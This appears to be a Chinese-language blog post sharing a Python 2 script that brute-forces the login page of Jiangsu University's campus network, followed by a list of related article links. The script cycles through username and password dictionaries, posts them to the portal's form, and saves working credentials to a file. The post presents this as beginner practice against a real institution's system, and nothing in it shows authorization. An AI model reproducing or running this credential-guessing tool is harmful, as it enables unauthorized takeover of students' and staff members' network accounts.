基於Python的江蘇大學校園網暴力破解
Python是近幾年比較流行的解釋型語言。Python是純粹的自由軟體,原始碼和直譯器CPython遵循GPL的協議。最近有在學習Python,作為Python的入門的新手拿學校的校園網登陸練練手。
總體的設計思路:
1.模擬瀏覽器的器開啟登陸網頁
2.構造登陸表單
表單選項:使用者名稱 "DDDDD",密碼"upass",空選項“0KKey”
3.構造字典,字典構造工具比較多,大家可以自行選擇
4.依據字典嘗試登陸,對返回值進行判斷
4如果登陸成功,則.將正確的使用者名稱和密碼存入檔案
一下是原始碼部分:
__author__ = 'qianqiangV'
#coding:utf-8
import sys
import os
import urllib2
import urllib
import getopt
def get_opt():
user=''
password=''
try:
opts,args=getopt.getopt(sys.argv[1:],"hu:p:")
for opt,value in opts:
if opt=="-u":
if value!=None:
user=value
elif opt=="-p":
if value!=None:
password=value
return [user,password]
except getopt.GetoptError:
print 'error'
def crack_login(user,password):
url='http://192.168.100.83/0.htm'
header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}
form={'DDDDD':user,'upass':password,'0MKKey':''}
form2=urllib.urlencode(form)
request=urllib2.Request(headers=header,url=url,data=form2)
response=urllib2.urlopen(request)
html=response.read()
return html.find('Msg')<0
def crack(user_file,pass_file):
wuser_pass=open('user_pass.txt','w')
if user_file.find('.txt')>0:
try:
userfile=open(user_file,'r')
except IOError,e:
print 'IOerror',e
else:
for eachuser in userfile:
eachuser=eachuser.strip()
print 'try'+' '+eachuser+' '+pass_file
if crack_login(eachuser,pass_file):
wuser_pass.writelines(eachuser+' '+pass_file+os.linesep)
if pass_file.find('.txt')>0:
try:
passfile=open(pass_file,'r')
except IOError,e:
print 'IOError',e
else:
for eachpass in passfile:
eachpass=eachpass.strip()
print 'try'+' '+eachuser+' '+eachpass
if crack_login(eachuser,eachpass):
wuser_pass.writelines(eachuser+' '+eachpass+os.linesep)
passfile.close()
userfile.close()
else:
print 'try'+' '+user_file+' '+pass_file
if crack_login(user_file,pass_file):
wuser_pass.writelines(user_file+' '+pass_file+os.linesep)
if pass_file.find('.txt')>0:
try:
passfile=open(pass_file,'r')
except IOError,e:
print 'IOError',e
else:
for eachpass in passfile:
eachpass=eachpass.strip()
print 'try'+' '+user_file+' '+eachpass.strip()
if crack_login(user_file,eachpass):
wuser_pass.writelines(user_file+' '+eachpass+os.linesep)
passfile.close()
def main():
user_pass=get_opt()
print user_pass[0],user_pass[1]
crack(user_pass[0],user_pass[1])
main()
執行程式:
使用者字典:user.txt
密碼字典:pass.txt
-u:選項後面可以跟使用者名稱或者使用者字典
-p:選項後面可以跟密碼或者密碼字典
程式會將傳入的引數都進行嘗試
使用者字典:
密碼字典:
我在使用者字典和密碼字典放入了一個正確的使用者名稱和密碼
執行中:
執行結果:將正確的使用者名稱和密碼寫入到.txt中
暴力破解的相關原理,可以檢視我在前面一片文章寫的關於hydra的使用
相關文章
- 大學校園IP網路廣播-基於校園區域網的大學校園IP廣播方案設計指南
- 校園網-真實的校園網路社群
- 大學創業,何不從網際網路+校園開始創業
- 大學校園雲盤搭建案例
- 小學校園IP網路廣播-基於校園區域網的小學IP數字廣播系統設計
- 大學校園無線覆蓋解決方案
- 基於雲端計算智慧校園綜合解決方案
- 大學生校園熱門創業專案推薦,校園創業最可靠的行業創業行業
- 西電校園網基於 PPPoE+DHCP 方式實現頻寬疊加
- 基於 HTML5 的校園網站移動平臺 web 頁面設計HTML網站Web
- 校園網應用分析
- 校園社交網站app網站APP
- 校園資訊釋出平臺(清遠大學城)
- 基於SSM的校園論壇網站系統畢業設計論文【範文】SSM網站
- 暴力破解-基於Pikachu的學習
- 智慧校園原始碼,基於springboot+vue開發原始碼Spring BootVue
- python爬蟲(四)——selenium校園網自動填報Python爬蟲
- 基於php的校園通訊錄電話號碼查詢系統PHP
- 校園招聘的思考
- pikachu 基於表單的暴力破解(一)
- 校果&獵聘校園:2021大學生求職趨勢洞察(附下載)求職
- 校園路由器斷網重連路由器
- 校園區域網組建方案分析
- 網路組建大全(包括企業網、校園網、網咖和基礎知識)(轉)
- 東軟UniEAP案例-----中國人民大學:數字化校園平臺
- 物聯網路卡在智慧校園中的應用
- 全球爆發電腦勒索病毒 中國多所大學校園網使用者被索比特幣比特幣
- 校園IP網路廣播系統方案
- [JLU]校園網上網攻略彙總與補充
- 基於邊緣計算閘道器的校園環境和能耗監測系統
- 校園微商給大學生挖坑:虛假資訊忽悠學生做代理
- 基於php的大學生創業網站設計PHP創業網站
- 基於java的大學生社團網站系統Java網站
- 基於NMAP日誌檔案的暴力破解工具BruteSpray
- 輕鬆應用Linux連線校園網Linux
- 關於在Linux作業系統下校園網 瑞捷的認證(xrgsu)(轉)Linux作業系統
- 基於校園一卡通和WIFI使用記錄的資料分析和視覺化WiFi視覺化
- 重慶大學攜手XSKY搭建智慧校園大資料&AI底座大資料AI